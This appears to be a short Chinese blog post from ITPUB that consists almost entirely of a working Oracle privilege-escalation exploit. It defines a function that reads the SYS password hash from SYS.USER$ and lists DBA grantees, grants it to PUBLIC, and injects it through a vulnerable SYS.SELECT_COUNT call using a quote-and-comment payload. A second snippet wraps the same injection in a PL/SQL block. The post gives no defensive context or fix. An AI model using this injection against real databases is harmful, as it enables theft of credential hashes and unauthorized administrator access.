DBA使用者查詢

pcsh發表於2010-05-19

CREATE OR REPLACE FUNCTION GET_IT RETURN VARCHAR2 AUTHID CURRENT_USER IS
TYPE C_TYPE IS REF CURSOR;
CV C_TYPE;
BUFF VARCHAR2(30);
STMT VARCHAR2(200);
BEGIN
DBMS_OUTPUT.ENABLE(1000000);
STMT:='SELECT PASSWORD FROM SYS.USER$ WHERE NAME = ''SYS''';
EXECUTE IMMEDIATE STMT INTO BUFF;
DBMS_OUTPUT.PUT_LINE('SYS PASSWORD HASH IS ' || BUFF);
OPEN CV FOR 'SELECT GRANTEE FROM DBA_ROLE_PRIVS WHERE GRANTED_ROLE=''DBA''';
LOOP
FETCH CV INTO BUFF;
DBMS_OUTPUT.PUT_LINE(BUFF || ' IS A DBA.');
EXIT WHEN CV%NOTFOUND;
END LOOP;
CLOSE CV;

RETURN 'FOO';
END;
/
GRANT EXECUTE ON GET_IT TO PUBLIC;

SELECT SYS.SELECT_COUNT('FOO'' || SCOTT.GET_IT()--') FROM DUAL;

[@more@]

封裝到儲存過程:

DECLARE
CNT NUMBER;
BEGIN
CNT:=SYS.SELECT_COUNT('SYS'' || SCOTT.GET_IT()--');
DBMS_OUTPUT.PUT_LINE(CNT);
END;
/

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/13442480/viewspace-1033711/,如需轉載,請註明出處,否則將追究法律責任。

相關文章